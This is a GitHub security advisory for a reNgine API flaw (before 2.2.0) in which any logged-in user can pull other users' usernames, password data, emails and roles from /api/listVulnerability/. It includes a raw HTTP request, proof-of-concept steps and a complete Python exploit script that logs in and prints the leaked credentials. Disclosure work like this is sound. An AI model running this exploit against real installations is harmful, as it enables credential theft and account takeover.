Skip to content

Disclosure of Sensitive User Information via API

High
yogeshojha published GHSA-r3fp-xr9f-wv38 Feb 1, 2025

Package

No package listed

Affected versions

< 2.2.0

Patched versions

2.2.0

Description

Summary

A vulnerability was discovered in reNgine, where an insider attacker with any role (such as Auditor, Penetration Tester, or Sys Admin) can extract sensitive information from other reNgine users. After running a scan and obtaining vulnerabilities from a target, the attacker can obtain details such as username, password, email, role, first name, last name, status, and activity information by making a GET request to /api/listVulnerability/.

Details

After running a vulnerability scan on a random target and generating any result in the Vulnerabilities tab, an authenticated attacker with any role, regardless of whether it is Sys Admin, Penetration Tester or Auditor, can exploit this vulnerability.

Create a query for the Endpoint /api/listVulnerability/ using the GET method:

GET /api/listVulnerability/ HTTP/2
Host: myrengine
Cookie: sessionid=YOUR_SESSIONID

URL: https://RENGINE-IP/api/listVulnerability/

Note that the API response is leaking sensitive information from users who have already run a scan before. If a user performed a scan, information will only be leaked from the single user who performed the scan, but if more than one user performed the scan, more than one user will have their information leaked in the response.

image

image

PoC

  1. Log in to your account
  2. Run a scan that generates vulnerabilities to be consulted in the Vulnerabilities tab.
  3. Wait for the scan to generate vulnerability results on any target.
  4. Navigate to: https://myrengine/api/listVulnerability/ (when viewing the result it can be seen with any Role)
  5. Note that in the middle of the JSON file there will be a leak of sensitive information from reNgine users.

image

Impact

This vulnerability could lead to:

  • User accounts compromise.
  • Privilege escalation (if credentials are decrypted or reused elsewhere).
  • Exposure of sensitive information, facilitating targeted attacks.
  • Loss of trust in the system and potential violation of data protection regulations

Exploit (CVE-2025-24899)

import requests
import sys
import argparse
import warnings
import json
from colorama import Fore, Style

# Suppress SSL warnings and others
warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning)

def login(base_url, username, password):
    login_url = f"{base_url}/login/"
    session = requests.Session()

    # Obtaining the CSRF Token
    try:
        response = session.get(login_url, verify=False)
        csrf_token = response.cookies.get('csrftoken') or extract_csrf_token(response.text)
    except Exception as e:
        print(Fore.RED + f"[-] Error obtaining the CSRF Token: {e}")
        return None, None

    # Building the payload and headers
    payload = {
        "csrfmiddlewaretoken": csrf_token,
        "username": username,
        "password": password,
    }
    headers = {
        "Referer": login_url,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    }

    # Performing the login
    try:
        response = session.post(login_url, data=payload, headers=headers, allow_redirects=False, verify=False)

        # Checking the response
        if response.status_code == 302:
            session_id = response.cookies.get("sessionid")
            if session_id:
                print(Fore.GREEN + "[+] " + Fore.WHITE + "Login successful!")
                return session, session_id
            else:
                print(Fore.RED + "[-] Session ID not found.")
                return None, None
        elif response.status_code == 200:
            print(Fore.RED + "[-] Login failed or invalid credentials.")
        else:
            print(Fore.RED + f"[ERROR] Unexpected response. HTTP Code: {response.status_code}")
    except Exception as e:
        print(Fore.RED + f"[-] Login request failed: {e}")
        return None, None

def extract_csrf_token(html):
    import re
    match = re.search(r'name="csrfmiddlewaretoken" value="(.+?)"', html)
    if match:
        return match.group(1)
    raise ValueError(Fore.RED + "CSRF token not found in the HTML.")

def get_session(base_url, username, password):
    session, session_id = login(base_url, username, password)

    if session and session_id:
        return session, session_id
    else:
        print(Fore.RED + "[-] Unable to obtain the session.")
        return None, None

def get_vulnerabilities(base_url, session, session_id):
    url = f"{base_url}/api/listVulnerability/"
    headers = {
        "Cookie": f"sessionid={session_id}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    }

    try:
        response = session.get(url, headers=headers, verify=False)

        if response.status_code == 200:
            print(Fore.GREEN + "[+] " + Fore.WHITE + "Extracting Confidential information...\n")
            filter_and_display_user_info(response.json())
        else:
            print(Fore.RED + f"[ERROR] Failed to retrieve vulnerabilities. HTTP Code: {response.status_code}")
    except Exception as e:
        print(Fore.RED + "[ERROR] {}: {}".format(type(e).__name__, str(e)))

def filter_and_display_user_info(data):
    users = {}

    for result in data.get('results', []):
        scan_history = result.get('scan_history', {})

        for key in ['initiated_by', 'aborted_by']:
            user_info = scan_history.get(key)
            if user_info and 'id' in user_info:
                users.setdefault(user_info['id'], user_info)

    for uid in users:
        user_info = users[uid]
        print(Fore.GREEN + "[+] " + Fore.CYAN + "Found ID: " + Fore.YELLOW + f"{user_info['id']}")
        print(Fore.GREEN + "Username: " + Fore.WHITE + f"{user_info['username']}")
        print(Fore.GREEN + "Password: " + Fore.WHITE + f"{user_info['password']}")
        if 'email' in user_info:
            print(Fore.GREEN + "Email: " + Fore.WHITE + f"{user_info['email']}")
        if user_info['is_superuser']:
            print(Fore.GREEN + "Superuser: " + Fore.WHITE + f"{user_info['is_superuser']}" + Fore.YELLOW + " (Role: Sys Admin)")
        else:
            print(Fore.GREEN + "Superuser: " + Fore.WHITE + f"{user_info['is_superuser']}" + Fore.YELLOW + " (Role: Penetration Tester)")
        print(Fore.GREEN + "First Name: " + Fore.WHITE + f"{user_info['first_name']}")
        print(Fore.GREEN + "Last Name: " + Fore.WHITE + f"{user_info['last_name']}")
        print(Fore.GREEN + "Active: " + Fore.WHITE + f"{user_info['is_active']}")
        print(Fore.GREEN + "Last Login: " + Fore.WHITE + f"{user_info['last_login'][:10]}")
        print(Fore.GREEN + "Joined: " + Fore.WHITE + f"{user_info['date_joined'][:10]}")
        print(Style.RESET_ALL)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Login script for web applications.")
    parser.add_argument("-t", "--target", required=True, help="Target application URL (e.g., https://example.com)")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    args = parser.parse_args()

    # Perform login and obtain the session
    session, session_id = get_session(args.target, args.username, args.password)

    # If login is successful, make the request to retrieve vulnerabilities
    if session and session_id:
        get_vulnerabilities(args.target, session, session_id)

Result

The Exploit ran with credentials of a user with the Auditor role, and see that I, as an Auditor user, was able to extract confidential information from other users with the Sys Admin and Penetration Tester Roles.

Considering that you can only obtain information from users who have already run a scan, that is, it will not be possible to obtain information from an auditor user, but it may be possible to obtain information from users with greater privilege (sys admin and penetration tester) regardless of the Role you are.

image

Severity

High

CVE ID

CVE-2025-24899

Weaknesses

Credits